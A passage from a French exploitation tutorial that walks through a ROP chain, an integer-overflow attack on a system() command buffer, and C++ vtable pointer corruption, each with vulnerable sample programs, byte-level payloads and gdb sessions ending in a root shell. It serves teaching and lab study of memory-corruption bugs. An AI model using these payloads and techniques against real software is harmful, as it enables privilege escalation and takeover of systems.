   0x0000000000400fc2 <+4>:	sub    $0x90,%rsp
   0x0000000000400fc9 <+11>:	movl   $0x0,-0x8(%rbp)
   0x0000000000400fd0 <+18>:	movl   $0x0,-0x4(%rbp)
   0x0000000000400fd7 <+25>:	lea    -0x90(%rbp),%rax
   0x0000000000400fde <+32>:	mov    %rax,%rdi
   … 
End of assembler dump.
(gdb)

A la ligne <+4>, nous voyons que 144 bytes séparent l’extrémité du buffer et %ebp (144 = 0x90), auquel nous devons ajouter 8 bytes (on est toujours en 64 bits) pour écraser le pointeur de base, soit un total de 152 bytes avant d'écraser l'adresse de retour. La payload finale est donc obtenue par:

python -c "print 'A' * 152 +
'\xcd\x17\x43\x00\x00\x00\x00\x00' +
'\x3b\x00\x00\x00\x00\x00\x00\x00' +
'\x0b\x16\x40\x00\x00\x00\x00\x00' +
'\x50\x5f\x4a\x00\x00\x00\x00\x00' +
'\x27\x17\x40\x00\x00\x00\x00\x00' +
'\x00\x00\x00\x00\x00\x00\x00\x00' +
'\x45\x30\x43\x00\x00\x00\x00\x00' +
'\x00\x00\x00\x00\x00\x00\x00\x00' +
'\x17\x04\x40\x00\x00\x00\x00\x00'")

Testons ceci avec GDB (break au niveau de l'instruction retq dans vuln) :

$ gdb ./rop
… 
(gdb) break *0x0000000000401036
	Breakpoint 1 at 0x401036
(gdb) run < <(python -c "print 'A' * 152 + '\xcd\x17\x43\x00\x00\x00\x00\x00' +
'\x3b\x00\x00\x00\x00\x00\x00\x00' + '\x0b\x16\x40\x00\x00\x00\x00\x00' + '\x50\x5f\x4a\x00\x00\x00\x00\x00' +
'\x27\x17\x40\x00\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x45\x30\x43\x00\x00\x00\x00\x00' +
'\x00\x00\x00\x00\x00\x00\x00\x00' + '\x17\x04\x40\x00\x00\x00\x00\x00'")
	Starting program: /home/enzo/Documents/art/rop < <(python -c "print 'A' * 152 +
'\xcd\x17\x43\x00\x00\x00\x00\x00' + '\x3b\x00\x00\x00\x00\x00\x00\x00' + '\x0b\x16\x40\x00\x00\x00\x00\x00' +
'\x50\x5f\x4a\x00\x00\x00\x00\x00' + '\x27\x17\x40\x00\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' +
'\x45\x30\x43\x00\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x17\x04\x40\x00\x00\x00\x00\x00'")
	reffub esreveR:
	C#�AAAAAAAA��AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	End

	Breakpoint 1, 0x0000000000401036 in vuln ()
(gdb) x/10gx $rsp
	0x7ffdfdfdd5c8:	0x00000000004317cd	0x000000000000003b
	0x7ffdfdfdd5d8:	0x000000000040160b	0x00000000004a5f50
	0x7ffdfdfdd5e8:	0x0000000000401727	0x0000000000000000
	0x7ffdfdfdd5f8:	0x0000000000433045	0x0000000000000000
	0x7ffdfdfdd608:	0x0000000000400417	0x0000000000400200
(gdb) c
Continuing
	process 8977 is executing new program: /bin/dash
	…

Grâce à la commande x/10gx $rsp, nous pouvons voir que notre payload est parfaitement alignée ! Et si nous laissons l'exécution se poursuivre (commande c pour continue), GDB nous informe qu'un nouveau programme a été lancé …

Sans gdb à présent :

$ cat <(python -c "print 'A' * 152 + '\xcd\x17\x43\x00\x00\x00\x00\x00' + '\x3b\x00\x00\x00\x00\x00\x00\x00' + '\x0b\x16\x40\x00\x00\x00\x00\x00' + '\x50\x5f\x4a\x00\x00\x00\x00\x00' + '\x27\x17\x40\x00\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x45\x30\x43\x00\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x17\x04\x40\x00\x00\x00\x00\x00'") - | ./rop
	reffub esreveR:
	C#�AAAAAAAA��AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	End
whoami
	root

Et voila, c'était l'attaque ROP !
Petites précisions supplémentaires :

5. Integer Overflow

Comme dans toute introduction qui se respecte, commençons par une définition Wikipédia :
« En informatique, un dépassement d'entier (integer overflow) est une condition qui se produit lorsqu'une opération mathématique produit une valeur numérique supérieure à celle représentable dans l'espace de stockage disponible. Par exemple, l'ajout d'une unité au plus grand nombre pouvant être représenté entraîne un dépassement d'entier. »
Comme pour les buffer overflows, il peut être déclenché sans aucune mauvaise intention, mais évidemment, si je vous le présente, c'est qu'un attaquant peut en tirer profit !

Mais d'abord, voyons concrètement ce que cela implique. Pour commencer, regardons du côté du header limits.h (lien dans les ressources), qui définit en autres ces constantes :

#define CHAR_MIN  -128
#define CHAR_MAX  127
#define SHRT_MIN  -32768
#define SHRT_MAX  32767
#define INT_MIN  (-INT_MAX -1)
#define INT_MAX  2147483647
#define LONG_MIN (-LONG_MAX -1L)
#define LONG_MAX  2147483647L

Dans l'exemple qui suivra nous utiliserons les char afin d'éviter les trop grands nombres, inutiles pour une démonstration.
La question que nous allons nous poser est : que se passe-t-il si l'on essaye de placer dans un char un nombre supérieur à 127 ? ou inférieur à -128 ? Essayons cela :

testChar.c
#include <stdio.h>
#include <stdlib.h>
 
int main(void){
        char c = 128;
        printf("c: %d\n", c);
        char c1 = -129;
        printf("c1: %d\n", c1);
        return 0;
}

A la compilation, nous obtenons :

$ gcc -o testChar testChar.c
        testChar.c: In function ‘main’:
        testChar.c:6:12: warning: overflow in implicit constant conversion [-Woverflow]
          char c1 = -129;
                    ^

Malgré tout, le fichier est généré et si on l'exécute :

$ ./testChar
        c: -128
        c1: 127

Intéressant, c était censé valoir 128 et vaut -128, et c1 était censé valoir -129 et vaut 127 !
La magazine Phrack nous apprend dans Volume 0x0b, Issue 0x3c, Phile #0x0a of 0x10 (lien dans les ressources) que :
So what happens when an integer overflow does happen? ISO C99 has this to say: “A computation involving unsigned operands can never overflow, because a result that cannot be represented by the resulting unsigned integer type is reduced modulo the number that is one greater than the largest value that can be represented by the resulting type.”
NB: modulo arithmetic involves dividing two numbers and taking the remainder,
e.g.
10 modulo 5 = 0
11 modulo 5 = 1
so reducing a large value modulo (MAXINT + 1) can be seen as discarding the portion of the value which cannot fit into an integer and keeping the rest.

A présent, nous allons nous servir de ce dépassement de capacité pour exploiter le programme suivant (le but n'étant pas ici d'écraser une adresse de retour, aucune protection n'a été désactivée : ASLR, NX, canary, tout le monde est là! ) :

intOverflow.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define BUFFER_SIZE 64
#define MAX_SIZE BUFFER_SIZE*2
 
/** gcc -m32 -o intOverflow intOverflow.c **/
 
int vulnConcat(char ** argv){
	char buffer[MAX_SIZE] = {0};
	char command[10] = "/bin/date";
	char size = strlen(argv[1]);
	if (size >= BUFFER_SIZE){
		printf("Go home to your mother, Luke! \n");
		return 0;
	}
	strncpy(buffer, argv[1], BUFFER_SIZE);
	int i;
	for(i = 0; i < BUFFER_SIZE && argv[1][i] != '\0'; i++){
		buffer[size+i] = argv[1][i];
	}
	printf("Concatenation: %s\n", buffer);
	printf("Executing : %s\n", command);
	system(command);
	return 1;
}
 
int main(int argc, char ** argv){
	if(argc != 2){
		printf("RTFM,  I need one argument\n");
		return 1;
	}
	vulnConcat(argv);
	return 0;
}

Le programme ci-dessus ne semble pas forcément vulnérable si on le regarde vite. En effet :

Testons le naïvement :

$ ./intOverflow 3mm4570n3
	Concatenation: 3mm4570n33mm4570n3
	Executing : /bin/date
	lundi 13 février 2017, 14:48:46 (UTC+0100)
$ ./intOverflow $(python -c "print 'A' * 64")
	Go home to your mother, Luke!

Ici, la faille est à la ligne 13 où le programmeur stocke la taille de la string dans un char. Ainsi, si la taille de la string est de 128 caractères, alors la valeur de la variable size vaudra -128, comme le prouve le premier programme. Essayons cela :

$ ./intOverflow $(python -c "print 'A' * 128")
	Concatenation: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	Executing : /bin/date
	lundi 13 février 2017, 14:49:57 (UTC+0100)

On remarque ici que malgré le fait que notre string ait une taille bien supérieure à 64, la taille normalement autorisée, le programme l'accepte. En effet, si size vaut -128, sa valeur est bien inférieure à 32, et donc le test est validé… A présent, notre but va être d'écraser les valeurs dans le buffer command, afin d'obtenir une shell en root. Dans les exemples précédents, les buffers, en dépassant, écrasaient des données plus bas dans la pile. A présent, nous allons nous servir des tailles négatives pour écraser des données placées plus haut. En effet, en écrivant à des adresses du type buffer[x] ou x est négatif, c'est le buffer placé après (par rapport à l'ordre du code) qui sera écrasé.

$ gdb ./intOverflow
… 
(gdb) disas vulnConcat
Dump of assembler code for function vulnConcat:
   …
   0x080485a8 <+237>:	jne    0x804856c <vulnConcat+177>
   0x080485aa <+239>:	sub    $0x8,%esp
   0x080485ad <+242>:	lea    -0x8d(%ebp),%eax
   0x080485b3 <+248>:	push   %eax
   0x080485b4 <+249>:	push   $0x80486ef
   0x080485b9 <+254>:	call   0x8048350 <printf@plt>
   0x080485be <+259>:	add    $0x10,%esp
   0x080485c1 <+262>:	sub    $0x8,%esp
   0x080485c4 <+265>:	lea    -0x97(%ebp),%eax
   0x080485ca <+271>:	push   %eax
   0x080485cb <+272>:	push   $0x8048702
   0x080485d0 <+277>:	call   0x8048350 <printf@plt>
   … 
End of assembler dump.

Aux lignes <+254> et <+277>, nous pouvons repérer les deux appels à printf utilisés pour afficher buffer et command. Nous pouvons donc déduire que les paramètres n'étant pas des constantes empilés juste avant sont les adresses de ces deux buffers. Nous voyons que 10 bytes les séparent, puisque l'un se situe à %ebp-0x97 et l'autre à %ebp-0x8d (0x97 = 151, 0x8d = 141 → 151 – 141 = 10, aussi la taille de command). Ce que nous voulons, c'est écrire dans command la string « sh; », nous permettant d'obtenir une shell. Par ailleurs, nous savons que lorsqu'une string de 128 caractères est soumise, size vaut -128. Donc une string de 129 caractères donne la valeur -127 à size, etc, etc. Le calcul est alors assez trivial, puisque pour faire en sorte que size soit égale à 0, il faut 256 caractères. En soustrayant les 10 bytes pour atteindre command, on déduit qu'il faut 256 - 10 = 246 bytes pour l'écraser avec la valeur voulue. Testons cela :

$ ./intOverflow $(python -c "print 'sh;' + 'A' * 243")
	Concatenation: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	Executing : sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# whoami
	root

Enjoy your shell !
Ne pas oublier le point virgule à “sh;”, sinon la commande passé en paramètre de system serait invalide puisque elle serait comme ceci : “shAAAAAAAAA…”

6. C++ vtables

Les buffer overflows sont le plus souvent présentés via des programmes en C, d'une part car le debugger GDB offre beaucoup de possibilités, et d'autre part parce que le langage a ses faiblesses, rendant possibles ces attaques. Pour changer un peu, nous allons dans cette section aborder les programmes en C++, car ce langage offre d'autres possibilités.
Nous ne nous attarderons pas sur le concept de classe et d'héritage qui sont sans doute connus du lecteur. Ces concepts étant toutefois essentiels à la compréhension de cette partie, mettons nous d'accord en considérant qu'une classe est une structure contenant un ensemble de propriétés propres nommées « attributs » et «méthodes » (routines). Chaque instance de la classe est désignée par le terme « objet ». Cependant, la POO (Programmation Orientée Objet) n'a que peu d'intérêt si elle se limite à ce concept de classe, c'est pourquoi il en existe un autre nommé « héritage », permettant de faire dériver des classes d'autres classes, dites classes-mères. Considérons le programme suivant, inspiré de Phrack Volume 0xa Issue 0x38 :

inheritance.cpp
#include <stdio.h>
#include <stdlib.h>
 
/** g++ -m32 -o inheritance inheritance.cpp **/
class SuperClass{
	private:
		int attr1;
	public:
		void func1(){
			printf("I'm func1()\n");
		}
		virtual void vfunc(){
			printf("I'm vfunc()\n");
		}
};
 
class SubClass1:public SuperClass{
	public:
		void vfunc(){
			SuperClass::vfunc();
			printf("And I'm called from SubClass1\n");
		}
};
 
class SubClass2:public SuperClass{
	public:
		void vfunc(){
			SuperClass::vfunc();
			printf("And I'm called from SubClass2\n");
		}
};
 
int main(int argc, char **argv){
	SubClass1 *s1 = new SubClass1;
	SubClass2 *s2 = new SubClass2;
	s1->func1();
	s2->func1();
	s1->vfunc();
	s2->vfunc();
	delete s1;
	delete s2;
	return 0;
}

Exécutons :

$ ./inheritance
I'm func1()
I'm func1()
I'm vfunc()
And I'm called from SubClass1
I'm vfunc()
And I'm called from SubClass2

Nous avons donc 2 sous classes dérivées de SuperClass, dont le comportement diffère au niveau de la méthode vfunc. Le grand avantage que procure la POO est qu'il est possible d'appeler la même méthode vfunc mais depuis des objets issus de classes différentes, et cela est possible grâce aux méthodes virtuelles. Le fait qu'une méthode soit virtuelle signifie donc que l'appel dépend de l'appelant, et que cette résolution se fait au cours de l'exécution (dynamic binding). Si la méthode n'est pas virtuelle, nous avons un static binding, fait lors de la compilation. Ici, nous allons nous intéresser au dynamic binding, en essayant de le tromper pour que la résolution lors du run time soit faussée.

Lorsque le compilateur va parcourir la déclaration de la classe SuperClass, il va d'abord lire la déclaration de func1, et puisque cette méthode n'est pas virtuelle, il va directement assigner l'adresse de cette méthode dans le code, en dur. Cependant, ce ne sera pas le cas lors de l'analyse de vfunc, puisque cette méthode étant virtuelle, la résolution est dynamique, et le compilateur va donc réserver 4 bytes pour un pointeur. Ce Virtual Pointer, ou VPTR, pointe vers une entrée d'une table de pointeurs de fonctions (VTABLE) propre à la classe (ici un exemple pour l'objet s1 de SubClass1) :

Notre but ici va être donc d'écraser le VPTR afin de modifier le flux d'exécution.

(NB : ASLR a été désactivé )

6.1. Corruption de VPTR

Commençons par un exemple simple avec le programme suivant :

vptr.cpp
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
 
class User{
	public:
		virtual void execute(const char* command){
			system(command);
		}
};
 
class Guest: public User{
	public:
		void execute(const char* command){
			if(!strcmp(command, "whoami")||!strcmp(command, "date")){
				User::execute(command);
			}
			else{
				printf("NOPE\n");
			}
		}
};
 
class Root: public User{
	public:
		void execute(const char* command){
			printf("Good morning, dear admin\n");
			User::execute(command);
		}
};
 
class ShellExecutor{
	private:
		char nameUser[32];
		User* user;
	public:
		ShellExecutor(User* pUser, char* pNameUser):user(pUser){
			strcpy(nameUser, pNameUser);
		}
		void printName(){
			printf("And his name is %s !!\n", nameUser);
		}
		void execute(char *command){
			user-> execute(command);
		}
};
 
int main(int argc, char **argv){
	if(argc < 3){
		printf("I need 2 arguments, plz\nUsage: ./vptr <command> <name>");
		return 1;
	}
	User* user = NULL;
	ShellExecutor* exec;
	uid_t uid = getuid();
	if(uid == 0){
		char admin[6] = "admin";
		char command[16] = "cat /etc/shadow";
		user = new Root;
		exec = new ShellExecutor(user, admin); 
		exec->printName();
		exec->execute(command);
		delete exec;
		delete user;
	}
	else{
		user = new Guest;
		exec = new ShellExecutor(user, argv[2]);
		exec->printName();
		exec->execute(argv[1]);
		delete exec;
		delete user;
	}
	return 0;
}

D'après le code, nous comprenons que l'utilisateur peut être soit root soit un utilisateur normal, ce qui sera notre cas, du point de vue de l'attaquant. On comprend donc qu'a priori, nous ne pourrons exécuter que les commandes date et whoami :

$ ./vptr date John
	And his name is John !!
	jeudi 16 février 2017, 11:18:59 (UTC+0100)
$ ./vptr sh John
	And his name is John !!
	NOPE

Notre but ici va être de corrompre le VPTR afin de faire exécuter la fonction execute de la classe Root. Puisque le programme va logiquement exécuter le bloc else dans la main, nous maîtrisons le buffer avec la commande. Ainsi, cette attaque nous permettra d'exécuter n'importe quelle commande en root, et donc pour cette démonstration nous nous contenterons d'ouvrir une shell.

En regardant le code, on remarque que le buffer name dans ShellExecutor a une capacité limitée à 32 caractères, essayons donc de le faire déborder :

$ ./vptr sh $(python -c "print 'JohnCena' * 4")
	And his name is JohnCenaJohnCenaJohnCenaJohnCena !!
	Erreur de segmentation

La string « JohnCena » fait 8 caractères, répétée 4 fois cela donne 32 caractères, plus un null byte qui semble venir écraser une donnée sensible … Lançons GDB pour trouver plus d'indices :

$ gdb ./vptr
… 
(gdb) run date $(python -c "print 'JohnCena' * 4")
	Starting program: /home/enzo/Documents/art/stack_BOF/vptr date $(python -c "print 'JohnCena' * 4")
	And his name is JohnCenaJohnCenaJohnCenaJohnCena !!

	Program received signal SIGSEGV, Segmentation fault.
	0x08048946 in ShellExecutor::execute(char*) ()

Nous obtenons la même erreur de segmentation, alors désassemblons la fonction où le plantage a lieu. Pour trouver son nom, désassemblons la fonction main :

(gdb) disas main
Dump of assembler code for function main:
   … 
   0x08048827 <+348>:	pushl  -0x24(%ebp)
   0x0804882a <+351>:	call   0x8048938 <_ZN13ShellExecutor7executeEPc>
   0x0804882f <+356>:	add    $0x10,%esp
   0x08048832 <+359>:	sub    $0xc,%esp
   …  
End of assembler dump.

A la ligne <+351> on trouve un nom qui semble correspondre à execute dans ShellExecutor :

(gdb) disas _ZN13ShellExecutor7executeEPc
Dump of assembler code for function _ZN13ShellExecutor7executeEPc:
   0x08048938 <+0>:	push   %ebp
   0x08048939 <+1>:	mov    %esp,%ebp
   0x0804893b <+3>:	sub    $0x8,%esp
   0x0804893e <+6>:	mov    0x8(%ebp),%eax
   0x08048941 <+9>:	mov    0x20(%eax),%eax
   0x08048944 <+12>:	mov    (%eax),%eax
   0x08048946 <+14>:	mov    (%eax),%eax
   0x08048948 <+16>:	mov    0x8(%ebp),%edx
   0x0804894b <+19>:	mov    0x20(%edx),%edx
   0x0804894e <+22>:	sub    $0x8,%esp
   0x08048951 <+25>:	pushl  0xc(%ebp)
   0x08048954 <+28>:	push   %edx
   0x08048955 <+29>:	call   *%eax
   0x08048957 <+31>:	add    $0x10,%esp
   0x0804895a <+34>:	leave  
   0x0804895b <+35>:	ret    
End of assembler dump.

Le plantage a eu lieu en 0x08048946 comme nous l'a indiqué le message d'erreur, lors d'une modification du registre %eax. Le plus intéressant, c'est que la valeur de %eax, apparemment en partie corrompue, sert lors d'un call en <+29>  ! Relançons avec des paramètres inoffensifs et breakons au niveau du constructeur de ShellExecutor puisque c'est à cet endroit que la fonction vulnérable strcpy est appelée.

(gdb) break *0x08048802
	Breakpoint 1 at 0x8048802
(gdb) run date $(python -c "print 'A' * 30")
	Starting program: /home/enzo/Documents/art/stack_BOF/vptr date $(python -c "print 'A' * 30")

Si nous reprenons le dump de la fonction main, nous avons à partir de la ligne <+306>, juste avant l'appel du constructeur de ShellExecutor:

0x080487fd <+306>:	push   %eax
0x080487fe <+307>:	pushl  -0x1c(%ebp)
0x08048801 <+310>:	push   %esi
0x08048802 <+311>:	call   0x80488f8 <_ZN13ShellExecutorC2EP4UserPc>

Nous déduisons donc que 3 paramètres sont passés lors de l'appel du constructeur en <+311>, alors que dans le code il n'y en a que 2. En fait, un paramètre implicite, un pointeur vers l'objet lui-même, est poussé aussi au sommet de la pile. Analysons ces 3 paramètres :

(gdb) x/x $esi
	0x804a018:	0x00000000
(gdb) x/x $ebp-0x1c
	0xffffd33c:	0x0804a008
(gdb) x/x $eax
	0xffffd5a4:	0x41414141

Le premier paramètre (implicite) est une adresse vers une séries de 0, nous pouvons en déduire qu'il s'agit de la valeur de exec (ShellExecutor) juste avant l'appel du constructeur, qui est encore nul.
Le deuxième paramètre, nous intéresse beaucoup plus puisque qu'il s'agit du pointeur vers l'objet de type Guest.
Enfin, le troisième est la string que nous avons saisie en paramètre.
Analysons un peu plus le pointeur sur le Guest à l'adresse 0x0804a008:

(gdb) x/x 0x0804a008
	0x804a008:	0x08048ad8
(gdb)  x/x 0x08048ad8
	0x08048ad8 <_ZTV5Guest+8>:0x08048874
(gdb) x/8x 0x08048ad8-8
	0x8048ad0 <_ZTV5Guest>:0x00000000 0x08048b08 0x08048874 0x00000000
(gdb) x/x  0x08048b08
	0x08048b08 <_ZTI5Guest>:0x08049f28
(gdb) x/x 0x08049f28 
	0x8049f28 <_ZTVN10__cxxabiv120__si_class_type_infoE@@CXXABI_1.3+8>: 0xf7f10550
(gdb) x/x  0x08048874
	0x08048874 <_ZN5Guest7executeEPKc>: 0x83e58955

En suivant le pointeur, nous arrivons sur une sorte de table avec 2 adresses particulièrement intéressantes: 0x08048b08 et 0x08048874 obtenus avec la 3ème commande. Si nous regardons à ces adresses, nous trouvons d'une part la fonction execute de Guest à 0x08048874, et les informations représentées sur le schéma du début par le bloc « some infos ». Nous avons donc trouvé le VPTR !

A présent, désassemblons le constructeur et breakons au niveau de strcpy:

(gdb) disas _ZN13ShellExecutorC2EP4UserPc
Dump of assembler code for function _ZN13ShellExecutorC2EP4UserPc:
   0x080488f8 <+0>:	push   %ebp
   0x080488f9 <+1>:	mov    %esp,%ebp
   0x080488fb <+3>:	sub    $0x8,%esp
   0x080488fe <+6>:	mov    0x8(%ebp),%eax
   0x08048901 <+9>:	mov    0xc(%ebp),%edx
   0x08048904 <+12>:	mov    %edx,0x20(%eax)
   0x08048907 <+15>:	mov    0x8(%ebp),%eax
   0x0804890a <+18>:	sub    $0x8,%esp
   0x0804890d <+21>:	pushl  0x10(%ebp)
   0x08048910 <+24>:	push   %eax
   0x08048911 <+25>:	call   0x8048570 <strcpy@plt>
   0x08048916 <+30>:	add    $0x10,%esp
   0x08048919 <+33>:	leave  
   0x0804891a <+34>:	ret    
End of assembler dump.
(gdb)  break *0x08048911
	Breakpoint 2 at 0x8048911

(gdb) continue
	Continuing.

	Breakpoint 2, 0x08048911 in ShellExecutor::ShellExecutor(User*, char*) ()
(gdb) x/x $eax
	0x804a018:	0x00000000
(gdb) x/x $ebp+16
	0xffffd308:	0xffffd5a4

En regardant quels sont les paramètres passés lors de l'appel de strcpy, nous retrouvons l'adresse, 0xffffd5a4 qui est celle de notre string saisie en paramètre (%ebp+16 = %ebp+0x10), et nous déduisons donc qu'elle va être copiée à l'adresse passé en premier paramètre, 0x804a018.
Regardons à cette adresse ce que l'on y trouve :

(gdb) x/20x 0x804a018
	0x804a018: 0x00000000	0x00000000	0x00000000	0x00000000
	0x804a028: 0x00000000	0x00000000	0x00000000	0x00000000
	0x804a038: 0x0804a008	0x00020fc9	0x00000000	0x00000000
	0x804a048: 0x00000000	0x00000000	0x00000000	0x00000000
	0x804a058: 0x00000000	0x00000000	0x00000000	0x00000000

Nous voyons donc que 32 bytes plus loin se situe le VPTR (à 0x804a038). S'il déborde, le buffer ira l'écraser, et le pointeur sera alors invalide. Notre but ici va donc être d'écraser ce VPTR proprement pour le faire pointer vers la VTABLE de Root. Pour obtenir l'adresse, il suffit de reculer un peu par rapport à la table de Guest:

(gdb) x/12x 0x08048ad8-24
	0x8048ac0 <_ZTV4Root>:0x00000000 0x08048af4 0x080488ce 0x00000000
	0x8048ad0 <_ZTV5Guest>:0x00000000 0x08048b08 0x08048874 0x00000000
	0x8048ae0 <_ZTV4User>:0x00000000 0x08048b1c 0x0804885e 0x6f6f5234
(gdb) x/x 0x080488ce
	0x080488ce <_ZN4Root7executeEPKc>:	0x83e58955

A présent, nous avons tous les éléments pour lancer notre attaque. Nous savons que nous allons écraser 0x0804a008, qui est l'adresse à laquelle se trouve un pointeur vers la fonction execute de Guest. Dans le dump du constructeur de ShellExecutor cela se tradduit par:

0x08048944 <+12>:mov    (%eax),%eax
0x08048946 <+14>:mov    (%eax),%eax

Sachant que nous contrôlons à cet instant la valeur de %eax de la ligne <+12>, nous avons pour notre payload :

adresse du byte suivant = (début du buffer + 4) +
adresse de execute dans Root +
24 * 'A' (32 – 8 bytes précédents)+
adresse du début de la payload écrasant le VPTR

Soit:

0x0804a01c + 0x080488ce + 'AAA...A' + 0x804a018

Ainsi, %eax vaudra d'abord 0x804a018, puis 0x804a01c après l'exécution de l'instruction en <+12>, puis vaudra 0x080488ce après l'exécution de l'instruction en <+14>. Testons cela:

$ ./vptr sh $(python -c "print '\x1c\xa0\x04\x08'+'\xce\x88\x04\x08' + 'A' * 24 + '\x18\xa0\x04\x08'")
	And his name is #�ΈAAAAAAAAAAAAAAAAAAAAAAAA#��# !!
	Good morning, dear admin
# whoami
	root

Boom !

6.2 Corruption de VPTR - Shellcode

Pour ce second exemple, le programme ne nous offre pas de fonction intéressante à exécuter en tant qu'attaquant. Nous allons donc retourner vers un shellcode (nous n'expliquerons pas les détails de l'injection de shellcode par les variables d'environnement. Se reporter en 4.2 si nécessaire)

vptrShellcode.cpp
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <cstdio>
 
using namespace std;
 
/** g++ -m32 -o vptrShellcode vptrShellcode.cpp -z execstack **/
class Person{
	public:
		virtual void talk(const char *name) = 0;
};
 
class NiceGirl: public Person{
	public:
		void talk(const char* name){
			cout << "My name is " << name << ",and all girls are beautiful" << endl;
		}
};
 
class TheManWhoSoldTheWorld:public Person{
	public:
		void talk(const char* name){
			cout << "And his name is " << name << " !!" << endl;
			cout << "We passed upon the stair, we spoke of was and when" << endl;
		}
};
 
void displayMessage(int);
 
int main(int argc, char ** argv){
	if(argc < 2){
		cout << "Usage : ./vptrShellcode <bool>" << endl;
		return 1;
	}
	displayMessage(atoi(argv[1]));
	return 0;
}
 
void displayMessage(int gender){
	Person* person;
	if(gender){
		person = new TheManWhoSoldTheWorld;
	}
	else{
		person = new NiceGirl;
	}
     char name[32];
     gets(name);
     person->talk(name);
     delete person;
}

La faille est donc bien sûr dans la fonction displayMessage avec la fameuse gets qui nous permet d'écraser le pointeur sur une instance de Person.

$ ./vptrShellcode 0
     EmmaS     
     My name is EmmaS,and all girls are beautiful
$ ./vptrShellcode 1
     JohnC
     And his name is JohnC !!
     We passed upon the stair, we spoke of was and when
$ cat <(python -c "print 'A' * 32") | ./vptrShellcode 0
     Erreur de segmentation

Rien de surprenant, donc, puisque le buffer fait pile 32 caractères. Comme dans l'exemple précédent, le null byte semble écraser une valeur sensible.
Dégainons GDB pour analyser tout ceci :

$ gdb ./vptrShellcode
… 
(gdb) disas displayMessage
Dump of assembler code for function _Z14displayMessagei:
   0x080488bd <+0>:	push   %ebp
   0x080488be <+1>:	mov    %esp,%ebp
   0x080488c0 <+3>:	push   %ebx
   0x080488c1 <+4>:	sub    $0x34,%esp
   0x080488c4 <+7>:	cmpl   $0x0,0x8(%ebp)
   0x080488c8 <+11>:	je     0x80488ea <_Z14displayMessagei+45>
   0x080488ca <+13>:	sub    $0xc,%esp
   0x080488cd <+16>:	push   $0x4
   0x080488cf <+18>:	call   0x8048720 <_Znwj@plt>
   0x080488d4 <+23>:	add    $0x10,%esp
   0x080488d7 <+26>:	mov    %eax,%ebx
   0x080488d9 <+28>:	sub    $0xc,%esp
   0x080488dc <+31>:	push   %ebx
   0x080488dd <+32>:	call   0x8048a6c <_ZN21TheManWhoSoldTheWorldC2Ev>
   0x080488e2 <+37>:	add    $0x10,%esp
   0x080488e5 <+40>:	mov    %ebx,-0xc(%ebp)
   0x080488e8 <+43>:	jmp    0x8048908 <_Z14displayMessagei+75>
   0x080488ea <+45>:	sub    $0xc,%esp
   0x080488ed <+48>:	push   $0x4
   0x080488ef <+50>:	call   0x8048720 <_Znwj@plt>
   0x080488f4 <+55>:	add    $0x10,%esp
   0x080488f7 <+58>:	mov    %eax,%ebx
   0x080488f9 <+60>:	sub    $0xc,%esp
   0x080488fc <+63>:	push   %ebx
   0x080488fd <+64>:	call   0x8048a8c <_ZN8NiceGirlC2Ev>
   0x08048902 <+69>:	add    $0x10,%esp
   0x08048905 <+72>:	mov    %ebx,-0xc(%ebp)
   0x08048908 <+75>:	sub    $0xc,%esp
   0x0804890b <+78>:	lea    -0x2c(%ebp),%eax
   0x0804890e <+81>:	push   %eax
   0x0804890f <+82>:	call   0x80486b0 <gets@plt>
   0x08048914 <+87>:	add    $0x10,%esp
   0x08048917 <+90>:	mov    -0xc(%ebp),%eax
   0x0804891a <+93>:	mov    (%eax),%eax
   0x0804891c <+95>:	mov    (%eax),%eax
   0x0804891e <+97>:	sub    $0x8,%esp
   0x08048921 <+100>:	lea    -0x2c(%ebp),%edx
   0x08048924 <+103>:	push   %edx
   0x08048925 <+104>:	pushl  -0xc(%ebp)
   0x08048928 <+107>:	call   *%eax
   0x0804892a <+109>:	add    $0x10,%esp
   0x0804892d <+112>:	sub    $0xc,%esp
   0x08048930 <+115>:	pushl  -0xc(%ebp)
   0x08048933 <+118>:	call   0x80486a0 <_ZdlPv@plt>
   0x08048938 <+123>:	add    $0x10,%esp
   0x0804893b <+126>:	mov    -0x4(%ebp),%ebx
   0x0804893e <+129>:	leave  
   0x0804893f <+130>:	ret    
End of assembler dump.

Comme dans l'exemple précédent, nous remarquons immédiatement le call un peu particulier en <+107>, alors breakons à son niveau.

(gdb) break *0x08048928
     Breakpoint 1 at 0x8048928
(gdb) run 1 < <(python -c "print 'A' * 31")
     Starting program: /home/enzo/Documents/art/stack_BOF/vptrShellcode 1 < <(python -c "print 'A' * 31")

     Breakpoint 1, 0x08048928 in displayMessage(int) ()
(gdb) x/x $esp
     0xffffd200:	0x0804a008
(gdb) x/x $esp+4
     0xffffd204:	0xffffd21c
(gdb) x/x 0x0804a008
     0x0804a008:	0x08048be0
(gdb) x/x 0xffffd21c
     0xffffd21c:	0x41414141

Le premier paramètre est évidemment le plus intéressant puisqu'il s'agit du pointeur. Si on affiche le haut de la pile, on trouve :

(gdb) x/20x $esp
     0xffffd200:0x0804a008	0xffffd21c	0x0000000a	0x00000000
     0xffffd210:0xf7e5d8a0	0xf7cbed48	0x08049158	0x41414141
